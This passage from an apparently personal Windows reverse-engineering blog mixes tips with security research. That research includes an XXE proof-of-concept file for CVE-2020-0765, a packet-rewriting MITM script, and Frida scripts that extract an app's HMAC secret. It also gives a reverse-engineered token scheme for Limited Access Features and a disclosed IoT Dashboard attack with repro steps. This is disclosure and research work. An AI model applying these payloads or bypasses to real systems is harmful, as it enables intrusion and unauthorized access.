        packet[TCP].len = None
    if(packet.haslayer(UDP)):
        packet[UDP].chksum = None
        packet[UDP].len = None
    packet.chksum = None


def callback(nfpacket):
    packet = IP(nfpacket.get_payload())
    if(packet.haslayer(Raw)):
        payload = packet[Raw].load

        if(packet.src == camera_ip):
            for replacement in replacements:
                payload = payload.replace(replacement.old, replacement.new)
        elif(packet.dst == camera_ip):
            for replacement in replacements:
                payload = payload.replace(replacement.new, replacement.old)

        zero_checksum_and_length(packet)
        nfpacket.set_payload(bytes(packet))
    nfpacket.accept()


nfqueue = NetfilterQueue()
nfqueue.bind(1, callback)

try:
    nfqueue.run()
except KeyboardInterrupt:
    print('Exiting.')

nfqueue.unbind()

While the script is far from perfect (e.g. manual rotation of the MessageID is needed), it worked well enough to get the camera paired with Windows 10.

Generating valid tokens to access Limited Access Features in Windows 10

2021-01-04T00:00:00Z

Microsoft ships a number of Windows 10 features that require "specific approval to be used in an application". Windows Calculator, for example, taps into private math functionality tucked away in the RichEdit control. It isn't clear how one would request access to these APIs, but it is clear that part of the response is an app-specific token that must be provided at runtime.

More specifically, unlocking a Limited Access Feature via the LimitedAccessFeatures.TryUnlockFeature API requires several bits of information:

It needs to know which feature you're trying to unlock (e.g. com.microsoft.windows.richeditmath) and an associated key data (e.g. RDZCQjY2M0YtQkFDMi00NkIwLUI3NzEtODg4NjMxMEVENkFF).

A list of features can be found in the Windows Registry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\LimitedAccessFeatures.
It needs a very specific string containing some scarecrow legalese and your application's Publisher ID:
```
[publisher id] has registered their use of [feature id] with Microsoft
and agrees to the terms of use.
```
It needs a special token, generated and provided by Microsoft.

After some quick sluething with friends @NTAuthority and @thebookisclosed, we all converged on the token validation routines in Windows.ApplicationModel.dll and reverse engineered the scheme:

Token = Base64(SHA256("FeatureId!FeatureKey!PackageFamilyName")[0..16])

Creating a token generator is an exercise left for the reader.

Windows Calculator example:

Base64(SHA256("com.microsoft.windows.richeditmath!RDZCQjY2M0YtQkFDMi00NkIwLUI3NzEtODg4NjMxMEVENkFF!Microsoft.WindowsCalculator_8wekyb3d8bbwe")
=> "pfanNuxnzo+mAkBQ3N/rGQ=="

Tips for IKEA NORDLI Headboard Installation

2020-11-28T00:00:00Z

I recently purchased an IKEA NORDLI bed (003.498.49, 103.729.76) and want to document some missing information regarding the installation of its headboard (on drywall).

Manual: https://www.ikea.com/us/en/assembly_instructions/nordli-headboard-white__AA-2059279-6-100.pdf
Weight: The headboard, fully assembled, weighs 70 lbs., rounded up.
Screws: The headboard support bars can take a variety of screw gauges, ranging from #8 to #12.

Some specific drywall guidance:
- For holes that don't line up with a wall stud:
  
  You will need ~75 lbs. rated anchors. Do not cheap out here or you'll regret it. E-Z Ancor Twist-N-Lock (affiliate link) anchors work great. The included screws are #8 x 1-5/8". These anchors are compatible with both 1/2" and 5/8" thick drywall, so you're covered.
- For holes that do line up with a wall stud:
  
  I recommend using a #12 x 2" screw, to cover both 1/2" and 5/8" thick drywall cases, and clear the thickness of the support bars.
Wall clearance: After the headboard is mounted onto the wall, the remaining gap/wall clearance will be 1.5". This is not enough room for power strips, but is plenty of room for routing AWG #16 (thick) electrical cables.

Download Windows Admin Center directly from Microsoft

2020-08-02T00:00:00Z

Skip the Microsoft Evaluation Center. Direct download link: https://aka.ms/wacdownload.

How To: Specify Application-Specific Direct3D Flags

2020-07-11T00:00:00Z

In some application compatibility scenarios, you may wish to control Direct3D flags (e.g. ForceDriverFlagsOff) on a per-user and per-application basis. To do so, create a registry key for the application at HKEY_CURRENT_USER\SOFTWARE\Microsoft\Direct3D\ (e.g. SolitaireOverrides). Under this new key, create the following values:

Name (string) - Full path to the executing image. (This path must match the result of GetModuleFileName).
Size (dword) - Size of executing image in bytes.
Any additional Direct3D specific values.

Full example:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Direct3D\SolitaireOverrides]
"Name"="C:\\Games\\Solitaire.exe"
"Size"=dword:0141f4e8
"ForceDriverFlagsOff"=dword:1

Bonus: Flags normally specified at HKEY_LOCAL_MACHINE\Software\Microsoft\Direct3D\Drivers and HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GraphicsDrivers\Scheduler can also be overridden using the above scheme. Simply create the subkeys under HKEY_CURRENT_USER and follow the same steps above.

How To: Get Consumer GPUs Working In Hyper-V Virtual Machines

2020-06-06T00:00:00Z

—Thanks Tomas N., for testing and your patience while I wrote this all up.

You will need

At least one PCI Express consumer graphics card. Some good options:
- NVIDIA GeForce GTX 1650(affiliate link)
- AMD Radeon 5500(affiliate link)
Dummy HDMI plug(affiliate link)
An AMD processor
- with Nested Page Tables (NPT)
- with an Input/Output Memory Management Unit (IOMMU)
- with Access Control Services (ACS) on PCI Express root ports (recommended, workaround available if needed)
Or an Intel processor
- with an Input/Output Memory Management Unit (IOMMU)
- with Extended Page Tables (EPT)
- with Intel Virtualization Technology for Directed I/O (VT-d) and Interrupt Remapping and Queued Invalidations capabilities
- with Access Control Services (ACS) on PCI Express root ports (recommended, workaround available if needed)
Windows Server 2016+ with Hyper-V role already installed and working (basic virtual machine support)
DDA support on Windows 10 has been blocked by Microsoft and is not supported
A generation 2 virtual machine with a guest operating system installed
GPU drivers for Windows
Remove-HypervisorChecks.ps1
Enterprise WDK (EWDK) for Windows 10 (~12GB)
Read & Write Utility (optional, see below)

Check for IOMMU support

The following tests on the host machine will provide hints to whether or not an IOMMU is present and available.

Execute the following PowerShell command on the host machine:
```
(Get-VMHost).IovSupport; (Get-VMHost).IovSupportReasons
```
This cmdlet will return True or False if Single-Root Input/Output Virtualization (SR-IOV) is supported. This is not required but tends to be supported on hardware that also hosts an IOMMU.
Use Read & Write Utility to check ACPI structures for IOMMU related tables.

AMD: I/O Virtualization Reporting Structure (IVRS) table
Intel: DMA Remapping Table (DMAR) table

In the Read & Write Utility, click the ACPI button then check for an IVRS/DMAR tab. It should appear to contain data, if present, and not be zeroed out.

Set up Hyper-V Discrete Device Assignment (DDA)

Installation and general configuration of Hyper-V is out of scope. The following steps will configure DDA for selected GPUs and should all be executed on the host machine. A virtual machine with the name "vm-aa2baf5d3ccbe840" is assumed. Change as needed.

Shutdown the virtual machine.

Execute the following PowerShell command to prepare the virtual machine for DDA:

Set-VM -VMName "vm-aa2baf5d3ccbe840" -LowMemoryMappedIoSpace 3Gb -HighMemoryMappedIoSpace 33280Mb -GuestControlledCacheTypes $true -AutomaticStopAction TurnOff

Execute the following PowerShell command to retrieve all GPU locations in the device tree:

Get-PnpDevice -Class Display | ForEach-Object { Write-Output "$($_.FriendlyName) has a device id of $($_.DeviceId) and is located at $($_ | Get-PnpDeviceProperty DEVPKEY_Device_LocationPaths | Select-Object -ExpandProperty Data | Where-Object { $_ -like "PCIROOT*" })"; }

Example output:

NVIDIA GeForce GTX 980 has a device id of PCI\VEN_10DE&DEV_13C0&SUBSYS_85181043&REV_A1\4&1C3D25BB&0&0019 and
is located at PCIROOT(0)#PCI(0301)#PCI(0000)

Disable and dismount the GPU that will be assigned to the virtual machine by executing the following PowerShell commands (using information from the earlier steps):

Disable-PnpDevice "PCI\VEN_10DE&DEV_13C0&SUBSYS_85181043&REV_A1\4&1C3D25BB&0&0019"
Dismount-VMHostAssignableDevice -LocationPath "PCIROOT(0)#PCI(0301)#PCI(0000)" -Force

Assign the GPU (and related audio device) to the virtual machine by executing the following PowerShell command:

Add-VMAssignableDevice -LocationPath "PCIROOT(0)#PCI(0301)#PCI(0000)" -VmName "vm-aa2baf5d3ccbe840"
Add-VMAssignableDevice -LocationPath "PCIROOT(0)#PCI(0301)#PCI(0001)" -VmName "vm-aa2baf5d3ccbe840"

Start the virtual machine.

Disable Access Control Services (ACS) and unique RID checks (optional)

If a particular GPU doesn't advertise support for unique requestor IDs or ACS, GPU assignment will fail. Execute the following commands (in an elevated PowerShell instance) on the host machine to disable these checks:

Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\HyperV" -Name "RequireSecureDeviceAssignment" -Type DWORD -Value 0 -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\HyperV" -Name "RequireSupportedDeviceAssignment" -Type DWORD -Value 0 -Force

Patch graphic card drivers

The following steps will patch your graphic card drivers, removing hypervisor checks.

Mount the Enterprise WDK (EWDK) for Windows 10 ISO.
Execute [mount]:\LaunchBuildEnv.cmd, then execute the powershell command.
Navigate to the location containing the Remove-HypervisorChecks.ps1 script and execute the following PowerShell commands:
./Remove-HypervisorChecks.ps1 -Nvidia -DriverPath "path\to\driver\package.exe"
Wait for script completion.
Copy the patched driver (patched-driver.zip) to the guest virtual machine (running in test mode) and install.

Typing text on a virtual machine keyboard via PowerShell CIM Cmdlets

2020-03-13T00:00:00Z

Retail Windows media contains a boot loader that requires keyboard input before setup begins. In automation scenarios, you can use CIM Cmdlets to type keys over WinRM. (This is preferred over deprecated WMI Cmdlet use.)

// ...

$CimSession = New-CimSession `
  -ComputerName $VmHost `
  -Credential $VmHostCredentials
        
$CimInstance = Get-CimInstance `
  -CimSession $CimSession `
  -Namespace "root\virtualization\v2" `
  -ClassName Msvm_ComputerSystem `
  -Filter "ElementName = '$VmName'"
  
$Keyboard = Get-CimAssociatedInstance $CimInstance `
  -CimSession $CimSession `
  -ResultClassName Msvm_Keyboard

Invoke-CimMethod $Keyboard `
  -CimSession $CimSession `
  -MethodName TypeText `
  -Arguments @{ asciiText = " "}

CVE-2020-0765: Quick proof of concept

2020-03-11T00:00:00Z

Remote Desktop Connection Manager (RDCMan) spins up ancient XmlReader and XmlTextReader instances without considering DTD and entity handling, resulting in a bag of information disclosure (and denial of service) vulnerabilities. Here's a quick .rdg I put together to test against.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT file (#PCDATA)>
<!ENTITY foo SYSTEM "http://localhost:11223/">]>
<RDCMan programVersion="2.7" schemaVersion="3">
  <file>
    <credentialsProfiles />
    <properties>
      <expanded>True</expanded>
      <name>test</name>
      <junk>&foo;</junk>
    </properties>
    <server>
      <properties>
        <name>test</name>
      </properties>
    </server>
  </file>
  <connected />
  <favorites />
  <recentlyUsed />
</RDCMan>

Detect if your process is running in a Remote Desktop Services client session

2019-12-10T00:00:00Z

You could attempt to follow Microsoft's confusing guidance on this, use the Windows.System.RemoteDesktop.InteractiveSession.IsRemote WinRT API (Windows 10), or just call the WinStationIsCurrentSessionRemoteable Terminal Server API directly (Windows 8+).

Example declaration in C#:

[DllImport("winsta.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool WinStationIsCurrentSessionRemoteable(
    [MarshalAs(UnmanagedType.Bool)] out bool isRemoteable);

Enumerating registered WSL distributions

2019-11-09T00:00:00Z

Consuming the WSL API requires developers to provide the name of a distribution to action on. For example, here's the definition for WslLaunchInteractive:

HRESULT WslLaunchInteractive(
  PCWSTR distributionName,
  PCWSTR command,
  BOOL   useCurrentWorkingDirectory,
  DWORD  *exitCode
);

Confusingly, Microsoft does not provide an API to retrieve a list of registered (i.e. installed) distribution names to pass into this function. When I confronted Microsoft about this omission, one engineer suggested I parse the output of wsl --list. Another deflected, noting "there is a non-zero cost for creating and maintaining an API" and that perhaps when "WSL becomes more of a platform, a more robust set of APIs would probably make sense". I'm still discussing this on GitHub.And Twitter.

In the meantime, you could utilize the private LxssUserSession COM class–thanks Biswapriyo. Or just read the backing data store directly. (You're going down that undocumented road anyway.) As of Windows 10, build 19013.1, installed distribution data lives in the Windows Registry, specifically HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Lxss.

At its root, the Lxss key contains a helpful DefaultDistribution REG_SZ value pointing to the distribution sub-key currently configured as the user's default distribution. Each sub-key represents a single installed distribution. And each sub-key contains a DistributionName REG_SZ value. That is the distribution name the WSL API expects.

Determine if your app is in a Focus Assist profile's priority list

2019-09-19T00:00:00Z

There's no public API for manipulating Focus Assist, so I reverse engineered IQuietHoursSettings and IQuietHoursProfile (from Windows 10 1903). The standard using-reverse-engineered-information disclaimer applies here.

C++ and C# examples:

Notes From Reverse Engineering A Mono AOT Compiled App On iOS

2019-07-09T00:00:00Z

To document the Microsoft Seeing AI API in my last blog post, I had to reverse engineer a Xamarin Mono full-AOT compiled app written for iOS, using a few of my favorite tools: mitmproxy, dnSpy, and Frida.

Here are the challenges I faced and how I overcame them.

Challenge: Application package (iOS App Store Package) is FairPlay DRM encrypted

I jailbroke an iPhone with the semi-tethered solution "DoubleH3lix" and installed OpenSSH and Clutch, an iOS executable/package dumper. This gave me access to the app binaries for static analysis.

Challenge: Application is fully aot-compiled down to armv7/arm64

I wasn't familiar with Apple's policies around JIT-compiled code, so this one caught me off-guard. I was expecting a bunch of managed Mono code and instead had nearly empty assemblies with some scaffolding and metadata. The rest was AOT compiled down to ARM instructions and stuffed into AOTData files.

Skimming strings, I discovered the web service endpoint but otherwise skipped static analysis and opt'ed for dynamic analysis instead.

Challenge: Application does not consume system proxy configuration

The application did not consume the proxy I configured on the phone. I suspect this is related to questionable Mono HttpClient or WebClient defaults.

So I altered /etc/hosts on the iPhone and redirected the web service endpoint to my PC. There, I used mitmproxy in the Windows Subsystem for Linux to configure a reverse proxy. (The Windows native version of mitmproxy is missing components and is difficult to work with.)

I ferried the mitmproxy CA root certificate to the phone via OneDrive; the mitm.it magic domain does not work in this configuration.

Challenge: Application signs all outgoing requests / web service validates all signatures

Observation of outbound traffic flowing through the reverse proxy revealed the application *signed *all outbound requests and transmitted the signature to the web service endpoint via an HTTP header. The signature was 32 bytes in length, prior to base-64 encoding.

Browsing the disassembled managed assemblies in the package (with dnSpy), I found a SignatureHelper class definition (no implementation) with a static readonly byte[] Secret field. This strongly suggested a keyed hash algorithm was in play.

To get the secret, I wrote a Frida agent (consuming the frida-mono-api module) to access the static field and dump its value. (I used frida-compile to transpile the agent code to a Frida-compatible ECMAScript 6. I also had to fill some gaps in the frida-mono-api module.)

The Frida agent script I wrote and injected into the app:

import { MonoApiHelper, MonoApi } from 'frida-mono-api'
const domain = MonoApi.mono_get_root_domain()

// Get a handle to the SeeingAI.Core assembly
let coreAssembly = MonoApi.mono_assembly_load_with_partial_name(Memory.allocUtf8String("SeeingAI.Core"), NULL)
let coreImage = MonoApi.mono_assembly_get_image(coreAssembly)

// Retrieve class metadata
let helperClass = MonoApiHelper.ClassFromName(coreImage, "SeeingAI.Network.SignatureHelper")

// Retrieve field metadata and value
let secretField = MonoApiHelper.ClassGetFieldFromName(helperClass, "Secret")
let secretValue = MonoApiHelper.FieldGetValueObject(secretField, NULL, domain)

// Dump array to screen
var secretValueLength = MonoApi.mono_array_length(secretValue)
console.log(hexdump(MonoApi.mono_array_addr_with_size(secretValue, 1, 0), { length: secretValueLength }))

With the 30-byte secret in hand, I built a quick C# app around HMACSHA256, as it fit the constraints perfectly (e.g. keyed input, 32-byte output). I passed in the request body as input, my secret and ... it produced the wrong hash.

I revisited the network analysis and recognized despite varying inputs, the signature remained the same. So my request body-based input was provably wrong. I had to get the real input.

I made modifications to the earlier agent script to intercept the input argument of the AOT-compiled method:

import { MonoApiHelper, MonoApi } from 'frida-mono-api'
const domain = MonoApi.mono_get_root_domain()

// Get a handle to the SeeingAI.Core assembly
let coreAssembly = MonoApi.mono_assembly_load_with_partial_name(Memory.allocUtf8String("SeeingAI.Core"), NULL)
let coreImage = MonoApi.mono_assembly_get_image(coreAssembly)

// Retrieve class metadata
let helperClass = MonoApiHelper.ClassFromName(coreImage, "SeeingAI.Network.SignatureHelper")

// Get pointer to AOT compiled method
let methodInfo = MonoApiHelper.ClassGetMethodFromName(helperClass, "GenerateSignature", 1)
let monoError = Memory.alloc(32) // Allocate enough memory for MonoError initialization
let nativeMethodPtr = MonoApi.mono_aot_get_method(domain, methodInfo, monoError)

// Attach interceptor and fish out the first method argument
Interceptor.attach(nativeMethodPtr, {
  onEnter: function(args) {
    console.log("GenerateSignature called")
    console.log("args[1] => " + MonoApiHelper.StringToUtf8(args[1]))
  }
})

console.log("Interceptor attached and ready.")

As suspected, the input was not the request body but rather ... the query component of the endpoint URI. (It's not clear what value this signature scheme adds to the overall solution.)

The formula was completed and produced valid signatures: base64(HMACSHA256(uri-query-component)).

Microsoft Seeing AI API v1

2019-07-08T00:00:00Z

This API was reverse engineered from the Microsoft Seeing AI app available for iOS, version 3.0.0.0 and 4.1.1.0.

Endpoints

https://seeingai.trafficmanager.net
https://seeingai.azurewebsites.net
https://waws-prod-bay-071.vip.azurewebsites.windows.net

Get product name from barcode digits

POST /api/v1/query?intent=Product

Required headers:

signature: gvoKXKGmEO7YhqzQWaXoN/v1ieHQ00mh2vnKKEFpQ0o= (This is produced via Base64(HMAC-SHA256("intent=Product")).)
Content-Type: application/json

Example request:

{ "barcode": "07895502" }

Example response:

{
  "Product":{
    "Content":"Diet Dr Pepper Cherry",
    "Format":"Text",
    "Metadata":{
        "MoreInfo":"Amazingly Smooth Zero calories. Zero calories Amazingly Smooth One 6-pack of 12 fluid ounce cans"
    },
    "Success":true
  }
}

Get text content from document photo

POST /api/v1/query?intent=Document

Required headers:

signature: /y2bpHR6XIbBr7ZKUFjehmY6btoq8x4BjzahWwN26n0= (This is produced via Base64(HMAC-SHA256("intent=Document")).)
Content-Type: image/jpeg

Example request:

[JPEG image bytes]

Example response:

{
  "Document": {
    "Content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\r\n<html xmlns=\"http://www.w3.org/XML/XMLSchema/v1.1\">\r\n  <head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\r\n<style type=\"text/css\">body{font-family: arial; font-size: 12pt}</style></head>\r\n<body>\r\n<p style=\"font-size:54px;margin-top:0px;margin-bottom:2px;line-height:56px;text-indent:2px;text-align:justify\">IMPORTANT INFORMATION: This product subject to terms &amp; conditions (including an arbitration agreement); if you open the package, ...</p>\r\n\r\n</body>\r\n</html>",
    "Format": "HTML",
    "Success": true
  }
}

Get facial attributes from image of face(s)

POST /api/v1/query?intent=Person

Required headers:

signature: b8IJ82rIZW9sw7tILmKyalgbTMfLDSezi3L6T0rlXJ0= (This is produced via Base64(HMAC-SHA256("intent=Person")).)
Content-Type: image/jpeg

Example request:

[JPEG image bytes]

Example response:

{
  "Person": {
    "Content": "34 year old man with Brown hair wearing glasses looking happy.",
    "Format": "Text",
    "Regions": [
      {
        "Height": 335,
        "Properties": {
          "age": "34",
          "emotion": "happy",
          "gender": "male",
          "glasses": "glasses",
          "hairColor": "Brown",
          "label": "34 year old man with Brown hair wearing glasses looking happy."
        },
        "Width": 335,
        "X": 15,
        "Y": 197
      }
    ],
    "Success": true
  }
}

Get text content from handwritten text

POST /api/v1/query?intent=Handwriting

Required headers:

signature: sBmjwvbhtvXsLKyJsIZ/Mrodp9To4rWPQrlRHWWzSog= (This is produced via Base64(HMAC-SHA256("intent=Handwriting")).)
Content-Type: image/jpeg

Example request:

[JPEG image bytes]

Example response:

{
  "Handwriting": {
    "Content": "Elephant\nShoe",
    "Format": "Text",
    "Regions": [
      {
        "Height": 8,
        "Properties": {
          "label": "Elephant"
        },
        "Width": 18,
        "X": 113,
        "Y": 8
      },
      {
        "Height": 9,
        "Properties": {
          "label": "Shoe"
        },
        "Width": 24,
        "X": 237,
        "Y": 12
      },
    ],
    "Success": true
  }
}

Get text description of a scene

POST /api/v1/query?intent=Scene

Required headers:

signature: AfrBqBu/F0Tteqm94TQtQ5XBojxhhzcPh7ln5Orcanc= (This is produced via Base64(HMAC-SHA256("intent=Scene")).)
Content-Type: image/jpeg

Example request:

[JPEG image bytes]

Example response:

{
  "Scene": {
      "Content": "Probably a white square on a black wall",
      "Format": "Text",
      "Success": true
  }
}

Detect when a TV is no longer connected to the Xbox via WinRT

2019-04-15T00:00:00Z

Given the Xbox display interface is HDMI-based, your first thought may be to attach to the HdmiDisplayInformation.DisplayModesChanged event. Don't. It doesn't provide enough information to solve this problem. Instead, turn to DeviceInformation.CreateWatcher and an Advanced Query String with the following selector:

System.Devices.InterfaceClassGuid:="{E6F07B5F-EE97-4a90-B076-33F57BF4EAA7}" AND
    System.Devices.InterfaceEnabled:=System.StructuredQueryType.Boolean#True

The display device interface will toggle between enabled and disabled states and fire the appropriate watcher events.

Uncontrolled Search Path Element in Windows 10 IoT Dashboard

2018-12-27T00:00:00Z

tl;dr

An attacker can boot up a laptop with a hostname of redmond and man-in-the-middle all Windows 10 IoT Core Dashboard users on the same network. This gives the attacker full control of the software being flashed onto a Windows 10 IoT device.

Summary

An uncontrolled search path element issue exists in the Windows 10 IoT Dashboard (1.0.1808.9002) app. Later versions were untested and may still be vulnerable. A successful exploit of this vulnerability requires an attacker to connect a machine to an adjacent network with a DNS/WINS/NetBIOS name of redmond and host a publicly accessible network share of 1windows containing an easily craftable JSON file. The application will automatically seek out and load this file and populate the UI with Windows IoT images under the attacker’s control. These images, ultimately just miniature forms of Windows OS, can be customized by the attacker for an infinite number of IoT scenarios.

Proposed NVD Category: CWE-427 (Uncontrolled Search Path Element)

Proposed CVSS Score: 8.3

Proposed CVSS Vector:
AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:F/RL:W/RC:C/CR:H/IR:H/AR:H/MAV:A/MAC:L/MPR:N/MUI:R/MS:C/MC:H/MI:H/MA:H

Details

The Windows 10 IoT Dashboard is a graphical tool used by customers to provision IoT devices and IoT media (e.g. SD and USB Mass Storage). The tool was designed to present officially supported builds of Windows IoT OS via a OS Build drop down. Selecting a build from this drop down results in a download of official media from Microsoft secure servers.

The tool also supports populating the OS Build drop down via a special LKGFilePath key in its on-disk configuration file (Windows10IoTCoreDashboard.exe.config). This key value represents a path on the network where Last Known Good Windows IoT OS build configuration data can be retrieved. This LKG manifest contains data that the Windows IoT Dashboard processes to also populate the aforementioned OS Build drop down. This location is uncontrolled.
Figure 1 – Do you know which image is under attacker control?
Windows IoT images presented and delivered via the LKG manifest can be in ISO+MSI or FFU format, are not required to be digitally signed, and are indistinguishable from the official Microsoft Windows IoT images in the UI (Figure 1).

Repro Steps

Attacker Machine Preparation

Set up a Windows or Linux machine (Samba) with a configured hostname of redmond and a Guest-accessible share named 1windows. (This may require some loosening of security on the attacker's machine, if it's running Windows.)
Create the folder structure at the root of the 1windows share: \Teams\IOT\Client\AthensDrop\LKG

Create a text file named iot_lkg_v2.txt and populate it with the following JSON data:

{"AllPlatforms":[{"CheckedForInsiderBuild":true,"LkgBuilds":[{"Build":"Windows 10 IoT Core","BuildNumber":"17145","Path":"\\\\redmond\\1windows\\my.iso"}],"Platform":"MBM"}]}

Victim Machine Preparation:

Ensure attacker machine is accessible via redmond hostname (e.g. ping redmond)
Download and execute the Windows IoT Dashboard (https://docs.microsoft.com/en-us/windows/iot-core/connect-your-device/iotdashboard)
Click Set up a new device
Change Device Type to Intel MinnowBoard Turbot/MAX. (Our example JSON above only targets this device but can be rewritten to affect all devices listed in this app.) Take note that the OS Build contains two builds (Figure 1). The 17145 build is attacker controlled.
Select Windows 10 IoT Core (17145)
Insert a mass storage device to prepare for Windows IoT use (will be erased!)
Specify an Administrator password (e.g. password)
Click I Accept checkbox
Click Download and Install. The attacker controlled my.iso file will be downloaded, unpacked, and installed onto the media inserted into the machine at this time.
Install media in IoT device and power on.

Mitigation

Locate the Windows10IoTCoreDashboard.exe.config file and remove the following configuration element within:

<add key="LKGFilePath" value="\\redmond\1windows\Teams\IOT\Client\AthensDrop\LKG\iot_lkg_v2.txt" />

Timeline:

Aug 16 1:17PM: Sent report to MSRC
Aug 16 5:58PM: MSRC asked if attacker required DNS access
Aug 16 6:55PM: I clarified DNS is not needed thanks to NetBIOS/LLMNR
Aug 17 5:50PM: MSRC closed issue ("[...] we have determined that this submission does not meet the bar for security servicing")

Windows 10 User Initiated Feedback (UIF) On Demand (OD) Diagnostic Scenarios

2018-11-20T00:00:00Z

Download zip of all scenarios (3.9MB)

532 scenarios downloaded 11/20/2018, pulled from:

https://settings-win.data.microsoft.com/settings/v3.0/windows/uif_ondemand?expId=...&sku=48&deviceClass=Windows.Desktop&sampleId=...&app=utc&appVer=10.0.17763.55&isRetailOS=1&locale=en-US&ms=0&osVer=10.0.17763.134.amd64fre.rs5_release.180914-1434&deviceId=...&os=windows&ring=WIF

Scenario names:

UIF OD Desktop Xbox App Feedback Logs V2
{00288807-0136-411a-881a-e37ed07da43c}

UIF OD Cancel Repro Desktop InputCore_Pen V6
{00595011-c473-41db-894c-7078e2690edb}

UIF OD Cancel Repro Desktop Remote Access Diagnostics for V10
{00ffbf58-0e1d-4321-baa6-3d105b338be5}

UIF OD Stop Repro Desktop LogInkSamples V1
{013d9420-d7c4-4b32-a698-22c2ca38416d}

UIF OD Desktop MPT logs V1
{01a6cd09-487d-4571-92c3-d6f8e8c0d7fd}

UIF OD Start Repro Desktop Windows Hello V3
{01b7fcc9-7db2-45cf-80b5-680a284fbe77}

UIF OD Cancel Repro Desktop WER Diagnostics
{020fb61d-8e91-4616-a92c-dd31d35afb92}

UIF OD Start Repro MFTracing Desktop V6
{0241c79a-abb8-4d16-aca2-6e6f866b916b}

UIF OD Start Repro Desktop Miracast V7
{0248398f-f7c7-4600-b383-e900e33056af}

UIF OD Desktop actioncenter and notification proc dumps V2
{02cd6e73-7d75-4383-b0ed-ad41069e1eab}

UIF OD Stop Repro Desktop Networks All other issues Diag V1
{02d2d2c0-d34c-4e30-b208-f2e042fa0779}

UIF OD Stop Repro AltTabTaskView Desktop V1
{03969690-b971-478d-b272-1849a3a89b93}

UIF OD Stop Repro Desktop Remote Access Diagnostics for V10
{055ffe1b-bb41-449e-b25c-55c04ba27dbb}

UIF OD Stop Repro Desktop CS Diagnostics V6
{062ec5bd-6e78-4fe2-beda-11e41a89784f}

UIF Stop Repro Unistack Diagnostics V5_OdD
{0895224f-d8e9-4b7e-ae61-5b2239e9b151}

UIF OD Desktop GPU Selection Detach V2
{09057ca0-4af7-4a1c-886c-3ef696666cb8}

UIF OD Stop Repro VirtualDesktop Desktop V1
{0962c159-731e-445e-bdc3-f3a10e321156}

UIF OD Cancel Repro Desktop Messaging Diagnostics V4
{097c0587-1e30-498a-a8fc-31668a8c2e29}

UIF OD Cancel Repro Desktop Capture Repo V1
{0981c602-002e-4133-bfa5-57a7c47fd8f4}

UIF Stop Repro for WDAG Office V5
{0a42728c-d891-4886-bdb2-8418951f5cd7}

UIF OD Stop Repro Desktop InputCore_Touchpad V6
{0aeee917-0e0c-4560-b518-311a88b7988a}

UIF OD Cancel Repro Desktop Battery Diagnostic V1
{0b131d89-9e38-45e3-866c-587f37ce4e60}

UIF OD Cancel Repro Desktop DirectAccess Diagnostics V5
{0c2d6c17-93d6-42e2-b070-a26d73ecfea8}

UIF OD Start Repro Holograms Desktop V2
{0c2f3c2e-82d8-4a81-841e-0172cbdba863}

UIF OD Start Repro Desktop Screen Sketch Diagnostics V1
{0c349d08-9c20-41c1-9372-2a966788e532}

UIF OD Start Repro Testing Push Context V1
{0c98f224-e628-4909-95f3-889fcef285a7}

UIF OD Desktop IME Dictionary via Language FoD V1
{0caa7275-aaf9-4d5a-9f93-8845f1b679bd}

UIF Action Center and Shell start repro OdD V5
{0d3f6b84-7dda-47bd-be84-08c33be1bb66}

UIF OD Desktop XIHDashboardLogs V1
{0e02b7de-67e7-4b9c-9f7f-dbc3eafe0858}

UIF OD Cancel Repro My People Desktop V1
{0ea0b67c-cfa1-435f-af85-49ac82136312}

UIF OD Desktop Capture Logs V2
{10006efe-36a5-4684-80f4-21790f3250b6}

UIF OD Stop Repro Desktop DxgDiag and Game Perf V10
{1008c1f8-4a76-497a-8768-bb19bea7ca61}

UIF OD Start Repro Windows Defender Desktop V3
{111703ef-6c1c-481c-8de8-9d9b9b7b65a6}

UIF OD Desktop testing context authoring site V1
{11b6fe1a-e6c4-4e6b-aff5-645f4b330df6}

UIF OD Desktop Oasis Single Escalation Second Default V04
{11f6c160-0898-41be-adf9-51ea8da40133}

UIF OD Stop Repro Desktop Global Power V3
{11f990cf-05a7-4e4a-a05f-f96548eb39c0}

UIF OD Cancel Repro Desktop Timeline V2
{121d1c87-820c-4120-a81a-d332bda1dca0}

UIF OD Cancel Repro Desktop Bitlocker Desktop V2
{123e24c8-b66b-47cd-abd2-b47dfa7cbc4c}

UIF OD Start Repro Office Centennial Desktop V3
{1262b19a-d850-4dcc-a02d-e288744fcca5}

UIF Start Repro for WDAG Office V5
{13057a1f-bbc7-434d-8b17-cf998cc6b99a}

UIF OD Start Repro Notifications and App Services Desktop V2
{14d55668-7eee-4047-bfaa-f1c0a81ba77c}

UIF Cancel Repro for WDAG Edge V6
{15be0ea1-a3ad-4177-862c-9ea6c8db6add}

UIF OD Desktop WindowsShellCoreOperational V1
{16055107-efd6-451b-bcaa-3e74c034f484}

UIF OD Stop Repro RemoteDesktop Settings Desktop V3
{17ef9ef3-74ac-402a-a3ce-4918639a1f1e}

UIF OD Stop Repro Speech Desktop V2
{181c1a19-effa-43e2-8397-f2a4dedef6bf}

UIF OD Start Repro Desktop Global Power V3
{1839940e-1681-467c-ab3e-e209112cec04}

UIF OD Cancel Repro Desktop Network Diagnostics V6
{185a2f0a-d5d9-4e85-82cc-cdbca09a5b73}

UIF OD Desktop Default Diagnostics V13
{1881a45e-01fd-4452-ace4-4a23666e66e3}

UIF OD Desktop OneDrive Preview Collect Logs V1
{188c67d7-efa9-4605-ade7-494885a92872}

UIF OD Stop Repro Whiteboard Desktop V1
{1b6314b5-231d-4097-9064-88ca676f93ad}

UIF OD Start Repro Desktop GMD Diag V1
{1bb2f338-4e2d-4159-b304-84f99c02a25e}

UIF Performance WindowsDesktop Start Repro V4
{1c120547-115a-45c9-b579-4e24a6f78e35}

